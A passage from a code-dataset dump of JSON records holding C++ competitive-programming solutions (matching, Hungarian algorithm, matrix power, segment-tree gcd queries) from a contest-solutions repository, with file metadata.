c[a[i]];\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.28241297602653503, "alphanum_fraction": 0.29441776871681213, "avg_line_length": 22.631206512451172, "blob_id": "3b5a4767ab9b80fe5891def833121fd746ee3307", "content_id": "ac91bc5e7a4eaa76ad2e7b426908568295c945ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3332, "license_type": "no_license", "max_line_length": 96, "num_lines": 141, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/D4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 2000;\n\nint from[MAXN];\nbool mk[MAXN];\n\nvector<int> g[MAXN];\n\nbool dfs( int u ){\n if( mk[u] ){\n return false;\n }\n\n mk[u] = true;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n if( from[v] == -1 || dfs( from[v] ) ){\n from[v] = u;\n return true;\n }\n }\n\n return false;\n}\n\ntypedef pair<int,int> par;\n\nconst int dx[] = {0, 1, 0, -1};\nconst int dy[] = {1, 0, -1, 0};\n\nint id[MAXN][MAXN];\n\nint n, m;\nint wx[MAXN], wy[MAXN];\nint bx[MAXN], by[MAXN];\nint used[MAXN][MAXN];\n\ninline bool inside(int x, int a, int b) {\n return (a <= x && x <= b);\n}\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n >> m;\n for (int i = 0; i < m; i++) {\n int x, y;\n cin >> x >> y;\n used[x][y] = true;\n }\n\n int w = 0;\n int b = 0;\n for (int x = 1; x <= n; x++) {\n for (int y = 1; y <= n; y++) {\n if (!used[x][y]) {\n //cerr << \" \" << x << \" \" << y << \" \";\n if ((x & 1) == (y & 1)) {\n //cerr << \" w\" << w << \"\\n\";\n id[x][y] = w;\n wx[w] = x;\n wy[w] = y;\n w++;\n } else {\n //cerr << \" b\" << b << \"\\n\";\n id[x][y] = b;\n bx[b] = x;\n by[b] = y;\n b++;\n }\n }\n }\n }\n\n if (w != b) {\n cout << \"No\\n\";\n return 0;\n }\n\n for (int x = 1; x <= n; x++) {\n for (int y = 1; y <= n; y++) {\n if (!used[x][y] && ((x & 1) == (y & 1))) {\n for (int i = 0; i < 4; i++) {\n int nx = x + dx[i];\n int ny = y + dy[i];\n if (inside(nx, 1, n) && inside(ny, 1, n)) {\n if (!used[nx][ny]) {\n //cerr << \"edge: \" << id[x][y] << \" \" << id[nx][ny] << \"\\n\";\n //cerr << \" \" << x << \" \" << y << \" \" << nx << \" \" << ny << \"\\n\";\n g[id[x][y]].push_back(id[nx][ny]);\n }\n }\n }\n }\n }\n }\n for (int i = 0; i < b; i++) {\n from[i] = -1;\n }\n\n for (int i = 0; i < w; i++) {\n for (int j = 0; j < w; j++) {\n mk[j] = false;\n }\n if (!dfs(i)) {\n cout << \"No\\n\";\n return 0;\n }\n }\n\n vector <pair <int, int> > h, v;\n\n for (int i = 0; i < b; i++) {\n int p = from[i];\n //cerr << p << \" \" << i << \"\\n\";\n //cerr << \"-->> \" << wx[p] << \" \" << wy[p] << \"\\n\";\n //cerr << \"-->> \" << bx[i] << \" \" << by[i] << \"\\n\";\n if (wx[p] == bx[i]) {\n v.push_back(make_pair(wx[p], min(wy[p], by[i])));\n } else {\n h.push_back(make_pair(min(wx[p], bx[i]), wy[p]));\n }\n }\n cout << \"Yes\\n\";\n cout << h.size() << \"\\n\";\n for (int i = 0; i < h.size(); i++) {\n cout << h[i].first << \" \" << h[i].second << \"\\n\";\n }\n cout << v.size() << \"\\n\";\n for (int i = 0; i < v.size(); i++) {\n cout << v[i].first << \" \" << v[i].second << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3662988245487213, "alphanum_fraction": 0.38030558824539185, "avg_line_length": 16.69841194152832, "blob_id": "393e9a9643a9e7e5d8f775ec49ed9417a8c76d97", "content_id": "60fede4017914274ca5a19d762c5ddc02e1608b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2356, "license_type": "no_license", "max_line_length": 67, "num_lines": 126, "path": "/COJ/eliogovea-cojAC/eliogovea-p3767-Accepted-s1068710.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst LL N = 55;\r\n\r\nconst LL INF = 1e9;\r\n\r\nint t;\r\nint n, m, bo;\r\nint e[55], s[55];\r\nLL a[N][N];\r\n\r\nLL usedx[N], usedy[N];\r\nLL labelx[N], labely[N], link[N];\r\n\r\nbool dfs(LL x) {\r\n\tusedx[x] = true;\r\n\tfor (LL y = 0; y < n; y++) {\r\n\t\tif (!usedy[y] && labelx[x] + labely[y] == a[x][y]) {\r\n\t\t\tusedy[y] = true;\r\n\t\t\tif (link[y] == -1 || dfs(link[y])) {\r\n\t\t\t\tlink[y] = x;\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nLL match() { // hungarian\r\n\tfor (LL i = 0; i < n; i++) {\r\n\t\tlink[i] = -1;\r\n\t\tlabely[i] = 0;\r\n\t}\r\n\tfor (LL i = 0; i < n; i++) {\r\n\t\tlabelx[i] = 0;\r\n\t\tfor (LL j = 0; j < n; j++) {\r\n\t\t\tlabelx[i] = max(labelx[i], a[i][j]);\r\n\t\t}\r\n\t}\r\n\tfor (LL k = 0; k < n; k++) {\r\n\t\twhile (true) {\r\n\t\t\tfor (LL i = 0; i < n; i++) {\r\n\t\t\t\tusedx[i] = usedy[i] = 0;\r\n\t\t\t}\r\n\t\t\tif (dfs(k)) break;\r\n\t\t\tLL del = INF;\r\n\t\t\tfor (LL i = 0; i < n; i++) {\r\n\t\t\t\tif (usedx[i]) {\r\n\t\t\t\t\tfor (LL j = 0; j < n; j++) {\r\n\t\t\t\t\t\tif (!usedy[j]) {\r\n\t\t\t\t\t\t\tdel = min(del, labelx[i] + labely[j] - a[i][j]);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (del == 0 || del == INF) break;\r\n\t\t\tfor (LL i = 0; i < n; i++) {\r\n\t\t\t\tif (usedx[i]) labelx[i] -= del;\r\n\t\t\t\tif (usedy[i]) labely[i] += del;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tLL res = 0;\r\n\tfor (LL i = 0; i < n; i++) {\r\n\t\tres += labelx[i];\r\n\t\tres += labely[i];\r\n\t}\r\n\treturn res;\r\n}\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> bo >> m;\r\n\t\tfor (LL i = 0; i < n; i++) {\r\n\t\t\tcin >> e[i];\r\n\t\t}\r\n\t\tfor (LL i = 0; i < n; i++) {\r\n\t\t\tcin >> s[i];\r\n\t\t}\r\n\t\tsort(e, e + n);\r\n\t\tsort(s, s + n);\r\n\t\tbool ok = true;\r\n\t\tfor (LL i = 0; i < n; i++) {\r\n\t\t\tif (e[i] >= s[i]) {\r\n\t\t\t\tok = false;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (!ok) {\r\n\t\t\tcout << \"impossible\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tfor (LL i = 0; i < n; i++) {\r\n\t\t\tfor (LL j = 0; j < n; j++) {\r\n\t\t\t\tif (e[i] < s[j]) {\r\n\t\t\t\t\ta[i][j] = min(m, (s[j] - e[i] - bo) * (s[j] - e[i] - bo));\r\n\t\t\t\t} else {\r\n\t\t\t\t\ta[i][j] = -INF;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tLL ansMax = match();\r\n\t\tfor (LL i = 0; i < n; i++) {\r\n\t\t\tfor (LL j = 0; j < n; j++) {\r\n\t\t\t\tif (e[i] < s[j]) {\r\n\t\t\t\t\ta[i][j] = m - min(m, (s[j] - e[i] - bo) * (s[j] - e[i] - bo));\r\n\t\t\t\t} else {\r\n\t\t\t\t\ta[i][j] = -INF;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tLL ansMin = n * m - match();\r\n\t\tcout << ansMin << \" \" << ansMax << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3488371968269348, "alphanum_fraction": 0.39534884691238403, "avg_line_length": 16.91666603088379, "blob_id": "e2797475300d7aa0b2a8982e6337f420d23d240c", "content_id": "2b8c4f957fad8401eee0b537fc1be9e5cd5c272e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 430, "license_type": "no_license", "max_line_length": 41, "num_lines": 24, "path": "/Codeforces-Gym/100699 - Stanford ProCo 2015/N2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Stanford ProCo 2015\n// 100699N2\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nchar line[500];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n int n;\n cin >> n;\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n + n; j++) {\n line[j] = ' ';\n }\n line[n - 1 - i] = '/';\n line[n + i] = '\\\\';\n line[n + i + 1] = '\\0';\n cout << line << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3911222815513611, "alphanum_fraction": 0.4162479043006897, "avg_line_length": 19.237287521362305, "blob_id": "102d901dfea27a0f9094f0fba5ba64d6d0e27ee0", "content_id": "70c93e4a408214c46d15db1d8f19179eaed0159a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1194, "license_type": "no_license", "max_line_length": 71, "num_lines": 59, "path": "/Codeforces-Gym/101572 - 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)\n// 101572B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n int n;\n cin >> n;\n\n vector <pair <double, pair <string, double> > > v(n);\n\n for (int i = 0; i < n; i++) {\n string s;\n double a, b;\n cin >> s >> a >> b;\n v[i].first = b;\n v[i].second.first = s;\n v[i].second.second = a;\n }\n\n sort(v.begin(), v.end());\n\n double answer_t;\n vector <string> names;\n\n for (int i = 0; i < n; i++) {\n double t = v[i].second.second;\n vector <string> s;\n s.push_back(v[i].second.first);\n int x = 0;\n int c = 1;\n while (c < 4) {\n if (x != i) {\n t += v[x].first;\n s.push_back(v[x].second.first);\n c++;\n }\n x++;\n }\n\n if (i == 0 || t < answer_t) {\n answer_t = t;\n names = s;\n }\n }\n\n cout.precision(10);\n cout << answer_t << \"\\n\";\n for (int i = 0; i < 4; i++) {\n cout << names[i] << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.2939068078994751, "alphanum_fraction": 0.3261648714542389, "avg_line_length": 15.4375, "blob_id": "69655199dab35acac9cf3c5924afd4dbb5ffabb2", "content_id": "edcf66444084a607b8c64b6a8aeb97288d162ce3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 279, "license_type": "no_license", "max_line_length": 24, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p1525-Accepted-s470275.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\nusing namespace std;\r\n\r\nlong n,m,s,r=1;\r\n\r\nint main(){\r\n scanf(\"%d%d\",&n,&m);\r\n while(m&1 && n&1){\r\n s+=r;\r\n r*=4; \r\n m=(m-1)/2;\r\n n=(n-1)/2;\r\n }\r\n printf(\"%d\",s);\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.31174278259277344, "alphanum_fraction": 0.3965517282485962, "avg_line_length": 19.897958755493164, "blob_id": "0b742aec312716e2ed74390be192fe2a068c138f", "content_id": "1277b202519ab054f9749f2e08c2d380e3ace856", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2146, "license_type": "no_license", "max_line_length": 92, "num_lines": 98, "path": "/COJ/eliogovea-cojAC/eliogovea-p2828-Accepted-s889355.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\nconst int sz = 7;\r\n\r\ninline int add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) a -= MOD;\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nstruct matrix {\r\n\tint m[sz][sz];\r\n\tint * operator [] (int n) {\r\n\t\treturn m[n];\r\n\t}\r\n\tconst int * operator [] (const int n) const {\r\n\t\treturn m[n];\r\n\t}\r\n\tmatrix(int x) {\r\n\t\tfor (int i = 0; i < sz; i++) {\r\n\t\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\t\tm[i][j] = (i == j) ? x : 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n};\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tmatrix res(0);\r\n\tfor (int i = 0; i < sz; i++) {\r\n\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\tfor (int k = 0; k < sz; k++) {\r\n\t\t\t\tadd(res[i][j], mul(a[i][k], b[k][j]));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) res = mul(res, x);\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix power(matrix x, int n) {\r\n\tmatrix res(1);\r\n\twhile (n) {\r\n\t\tif (n & 1) res = res * x;\r\n\t\tx = x * x;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint t, n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> n) {\r\n\t\tmatrix M(0);\r\n\t\tM[0][0] = 1; M[0][1] = 1; M[0][2] = 1; M[0][3] = 2; M[0][4] = 0; M[0][5] = 0; M[0][6] = 0;\r\n\t\tM[1][0] = 0; M[1][1] = 1; M[1][2] = 1; M[1][3] = 2; M[1][4] = 0; M[1][5] = 0; M[1][6] = 0;\r\n\t\tM[2][0] = 0; M[2][1] = 1; M[2][2] = 0; M[2][3] = 0; M[2][4] = 0; M[2][5] = 0; M[2][6] = 0;\r\n\t\tM[3][0] = 0; M[3][1] = 1; M[3][2] = 0; M[3][3] = 1; M[3][4] = 0; M[3][5] = 0; M[3][6] = 0;\r\n\t\tM[4][0] = 0; M[4][1] = 0; M[4][2] = 0; M[4][3] = 0; M[4][4] = 1; M[4][5] = 1; M[4][6] = 1;\r\n\t\tM[5][0] = 0; M[5][1] = 0; M[5][2] = 0; M[5][3] = 0; M[5][4] = 0; M[5][5] = 1; M[5][6] = 1;\r\n\t\tM[6][0] = 0; M[6][1] = 0; M[6][2] = 0; M[6][3] = 0; M[6][4] = 0; M[6][5] = 1; M[6][6] = 0;\r\n\r\n\t\tM = power(M, n - 1);\r\n\r\n\t\tint a = 0;\r\n\t\tfor (int i = 0; i < sz; i++) {\r\n\t\t\tadd(a, M[0][i]);\r\n\t\t}\r\n\t\tint b = 0;\r\n\t\tfor (int i = 0; i < sz; i++) {\r\n\t\t\tadd(b, M[4][i]);\r\n\t\t}\r\n\t\tb = mul(b, b);\r\n\t\tint ans = b;\r\n\t\tadd(ans, MOD - a);\r\n\t\tans = mul(ans, power(2, MOD - 2));\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3533549904823303, "alphanum_fraction": 0.3804112672805786, "avg_line_length": 21.265060424804688, "blob_id": "cb796c2c99aeec1470bae8b8a53f5ae25df24dc5", "content_id": "4fd6a6df15a26429a6a7a0c6dca64533fb81305e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1848, "license_type": "no_license", "max_line_length": 120, "num_lines": 83, "path": "/Codeforces-Gym/100765 - 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100765E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n;\n\nint l[4005];\n\nstruct pt {\n int x, y;\n};\n\npt P[4005];\n\nstruct seg {\n pt a, b;\n};\n\nbool ver(seg a) {\n return (a.a.x == a.b.x);\n}\n\nbool hor(seg a) {\n return (a.a.y == a.b.y);\n}\n\nconst int INF = 1e9;\n\nbool inter(seg a, seg b, pt &res) {\n if (ver(a) && ver(b)) return false;\n if (hor(a) && hor(b)) return false;\n if (ver(a)) swap(a, b);\n if (a.a.x > a.b.x) swap(a.a.x, a.b.x);\n if (b.a.y > b.b.y) swap(b.a.y, b.b.y);\n //cout << \"( \" << a.a.x << \", \" << a.a.y << \") -> (\" << a.b.x << \", \" << a.b.y << \")\\n\";\n //cout << \"( \" << b.a.x << \", \" << b.a.y << \") -> (\" << b.b.x << \", \" << b.b.y << \")\\n\";\n //cout << (a.a.x <= b.a.x) << \" \" << (a.b.x >= b.a.x) << \" \" << (b.a.y <= a.a.y) << \" \" << (b.b.y >= a.a.y) << \"\\n\";\n if (a.a.x <= b.a.x && a.b.x >= b.a.x && b.a.y <= a.a.y && b.b.y >= a.a.y) {\n res.x = b.a.x;\n res.y = a.a.y;\n return true;\n }\n return false;\n}\n\nint dist(pt p1, pt p2) {\n return abs(p1.x - p2.x) + abs(p1.y - p2.y);\n}\n\nint best[4005];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n cin >> n;\n for (int i = 0; i < n; i++) {\n cin >> P[i].x >> P[i].y;\n }\n\n for (int i = 1; i < n; i++) {\n l[i] = l[i - 1] + dist(P[i - 1], P[i]);\n }\n\n int ans = l[n - 1];\n\n for (int i = 0; i + 1 < n; i++) {\n for (int j = i + 2; j + 1 < n; j++) {\n pt in;\n if (inter((seg) {P[i], P[i + 1]}, (seg) {P[j], P[j + 1]}, in)) {\n int d1 = dist(P[i], in);\n int d2 = dist(P[j], in);\n int val = l[j] + d2 - l[i] - d1;\n ans = min(ans, val);\n }\n }\n }\n\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.28588515520095825, "alphanum_fraction": 0.30562201142311096, "avg_line_length": 21, "blob_id": "5b013582678f0550e70e813ad393253ce0d53e19", "content_id": "522cc48a1ca43428de9f6d6d4375e5600d48594b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1672, "license_type": "no_license", "max_line_length": 63, "num_lines": 76, "path": "/Caribbean-Training-Camp-2017/Contest_6/Solutions/H6.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 505;\n\nint n, k;\nint c[N][N];\nint ac[N][N];\nint f[N][N];\nint dp[N][N];\nint from[N][N];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n >> k;\n for (int i = 1; i <= n; i++) {\n for (int j = i + 1; j <= n; j++) {\n cin >> c[i][j];\n }\n ac[i][n] = c[i][n];\n for (int j = n - 1; j >= i; j--) {\n ac[i][j] = ac[i][j + 1] + c[i][j];\n }\n }\n for (int i = 1; i <= n; i++) {\n f[i][i] = ac[i][i + 1];\n for (int j = i - 1; j >= 1; j--) {\n f[i][j] = f[i][j + 1] + ac[j][i + 1];\n }\n }\n int ansK = -1;\n int ansL = -1;\n for (int i = 1; i < n; i++) {\n dp[1][i] = f[i][1];\n from[1][i] = -1;\n // cerr << i << \" \" << dp[1][i] << \"\\n\";\n }\n for (int i = 2; i <= k; i++) {\n for (int l = i; l < n; l++) {\n for (int ll = 1; ll < l; ll++) {\n if (dp[i - 1][ll] + f[l][ll + 1] >= dp[i][l]) {\n dp[i][l] = dp[i - 1][ll] + f[l][ll + 1];\n from[i][l] = ll;\n }\n }\n }\n }\n\n int t = 0;\n for (int l = 1; l < n; l++) {\n if (dp[k][l] >= t) {\n t = dp[k][l];\n ansL = l;\n }\n }\n\n cout << dp[k][ansL] << \"\\n\";\n vector <int> p;\n for (int i = k; i >= 1; i--) {\n p.push_back(ansL);\n ansL = from[i][ansL];\n }\n sort(p.begin(), p.end());\n for (int i = 0; i < k; i++) {\n cout << p[i];\n if (i + 1 < k) {\n cout << \" \";\n }\n }\n cout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.46932515501976013, "alphanum_fraction": 0.48159509897232056, "avg_line_length": 15.1578950881958, "blob_id": "097a6c38ef9b8c191e14e1c8e2076ef24236500e", "content_id": "b5392161214a4e6abbb810d4a25bb3abe0547117", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 326, "license_type": "no_license", "max_line_length": 41, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p2183-Accepted-s609259.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\nint n;\r\nstring s;\r\n\r\nint main() {\r\n\tcin >> n;\r\n\tgetline(cin, s);\r\n\twhile (n--) {\r\n\t\tgetline(cin, s);\r\n\t\tint even = 0, odd = 0;\r\n\t\tfor (int i = 0; s[i]; i++)\r\n\t\t\tif (s[i] & 1) odd++;\r\n\t\t\telse even++;\r\n\t\tif (even > odd) cout << \"Even\" << endl;\r\n\t\telse cout << \"Odd\" << endl;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4330900311470032, "alphanum_fraction": 0.4866180121898651, "avg_line_length": 17.68181800842285, "blob_id": "b79364874cb7349dc67bb2a9fec94d9879ac0137", "content_id": "161f89f15d60becdf6582d264d142decf6043975", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 411, "license_type": "no_license", "max_line_length": 74, "num_lines": 22, "path": "/Codeforces-Gym/101572 - 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)\n// 101572J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int a, b; cin >> a >> b;\n\n if( a + b == 0 ){\n cout << \"Not a moose\\n\";\n }\n else{\n cout << ( a == b ? \"Even \" : \"Odd \" ) << max( a , b ) * 2 << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.4481481611728668, "alphanum_fraction": 0.4611110985279083, "avg_line_length": 17.285715103149414, "blob_id": "90403ab223aa2f4e60e4ae06b0756465b075549b", "content_id": "f1daf4e8d711a659650551c1e8c768a8d07742ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 540, "license_type": "no_license", "max_line_length": 76, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p2735-Accepted-s587733.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nstruct eq\r\n{\r\n\tint o, p, b, id;\r\n\tbool operator < (const eq &x) const\r\n\t{\r\n\t\tif (o != x.o) return o > x.o;\r\n\t\tif (p != x.p) return p > x.p;\r\n\t\tif (b != x.b) return b > x.b;\r\n\t\treturn id < x.id;\r\n\t}\r\n}arr[7];\r\n\r\nint main()\r\n{\r\n\tfor (int i = 0, a, b, c; i < 7; i++)\r\n\t{\r\n\t\tscanf(\"%d%d%d\", &a, &b, &c);\r\n\t\tarr[i] = (eq) {a, b, c, i + 1};\r\n\t}\r\n\tsort(arr, arr + 7);\r\n\r\n\tfor (int i = 0; i < 7; i++)\r\n\t\tprintf(\"Facultad %d %d %d %d\\n\", arr[i].id, arr[i].o, arr[i].p, arr[i].b);\r\n}\r\n" }, { "alpha_fraction": 0.34929269552230835, "alphanum_fraction": 0.3819368779659271, "avg_line_length": 17.755102157592773, "blob_id": "9342016e3491c448f5386a191f3ac137f657df3c", "content_id": "71b3f906bd6bccfbef738092abb9e495a6624e00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 919, "license_type": "no_license", "max_line_length": 81, "num_lines": 49, "path": "/Caribbean-Training-Camp-2018/Contest_1/Solutions/I1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100 * 1000 + 10;\n\nint n;\nint a[N];\nint st[4 * N];\n\nvoid build(int x, int l, int r) {\n if (l == r) {\n st[x] = a[l];\n } else {\n int m = (l + r) >> 1;\n build(2 * x, l, m);\n build(2 * x + 1, m + 1, r);\n st[x] = __gcd(st[2 * x], st[2 * x + 1]);\n }\n}\n\nint query(int x, int l, int r, int ql, int qr) {\n if (l > qr || r < ql) {\n return 0;\n }\n if (l >= ql && r <= qr) {\n return st[x];\n }\n int m = (l + r) >> 1;\n return __gcd(query(2 * x, l, m, ql, qr), query(2 * x + 1, m + 1, r, ql, qr));\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n cin >> n;\n for (int i = 1; i <= n; i++) {\n cin >> a[i];\n }\n build(1, 1, n);\n int k;\n cin >> k;\n while (k--) {\n int l, r;\n cin >> l >> r;\n cout << query(1, 1, n, l, r) << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3480956554412842, "alphanum_fraction": 0.35783880949020386, "avg_line_length": 26.225000381469727, "blob_id": "ab055c4ac8bcb76ffd9af01cef04ba9d93532ac2", "content_id": "0b2569267f5e923fc4dc46fa289e0d5b97b9a7d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2258, "license_type": "no_license", "max_line_length": 111, "num_lines": 80, "path": "/COJ/eliogovea-cojAC/eliogovea-p3332-Accepted-s861087.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nvector<pair<int, int> > fa, fb;\r\nvector<int> v;\r\n\r\nvoid fact(int n, vector<pair<int, int> > &f) {\r\n f.clear();\r\n for (int i = 2; i * i <= n; i++) {\r\n if (n % i == 0) {\r\n int cnt = 0;\r\n while (n % i == 0) {\r\n cnt++;\r\n n /= i;\r\n }\r\n f.push_back(make_pair(i, cnt));\r\n }\r\n }\r\n if (n > 1) {\r\n f.push_back(make_pair(n, 1));\r\n }\r\n}\r\n\r\nlong long solve(int a, int b) {\r\n fact(a, fa);\r\n fact(b, fb);\r\n\r\n //for (int i = 0; i < fa.size(); i++) cout << fa[i].first << \" \" << fa[i].second << \"\\n\"; cout << \"\\n\";\r\n //for (int i = 0; i < fb.size(); i++) cout << fb[i].first << \" \" << fb[i].second << \"\\n\"; cout << \"\\n\";\r\n\r\n v.clear();\r\n for (int i = 0; i < fa.size(); i++) {\r\n v.push_back(fa[i].first);\r\n }\r\n for (int i = 0; i < fb.size(); i++) {\r\n v.push_back(fb[i].first);\r\n }\r\n sort(v.begin(), v.end());\r\n v.erase(unique(v.begin(), v.end()), v.end());\r\n\r\n /*for (int i = 0; i < v.size(); i++) {\r\n cout << v[i] << \" \";\r\n }*/\r\n //cout << \"\\n\";\r\n\r\n long long res = 1;\r\n for (int i = 0; i < v.size(); i++) {\r\n int posa = lower_bound(fa.begin(), fa.end(), make_pair(v[i], 0)) - fa.begin();\r\n int posb = lower_bound(fb.begin(), fb.end(), make_pair(v[i], 0)) - fb.begin();\r\n int cnta = 0;\r\n int cntb = 0;\r\n if (posa < fa.size() && fa[posa].first == v[i]) cnta = fa[posa].second;\r\n if (posb < fb.size() && fb[posb].first == v[i]) cntb = fb[posb].second;\r\n //cout << v[i] << \" \" << cnta << \" \" << cntb << \"\\n\";\r\n if (cnta > cntb) {\r\n return 0LL;\r\n }\r\n if (cntb > cnta) {\r\n res *= 2LL;\r\n }\r\n }\r\n res /= 2LL;\r\n return res;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n int t, a, b;\r\n cin >> t;\r\n while (t--) {\r\n cin >> a >> b;\r\n if (a == b) {\r\n cout << \"1\\n\";\r\n continue;\r\n }\r\n cout << solve(a, b) << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.31137725710868835, "alphanum_fraction": 0.344311386346817, "avg_line_length": 13.21276569366455, "blob_id": "1c18bde9cc097c44b123dde93b9b179347cc4600", "content_id": "41d21199da36771807c8117925e9e3219b40e887", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 668, "license_type": "no_license", "max_line_length": 35, "num_lines": 47, "path": 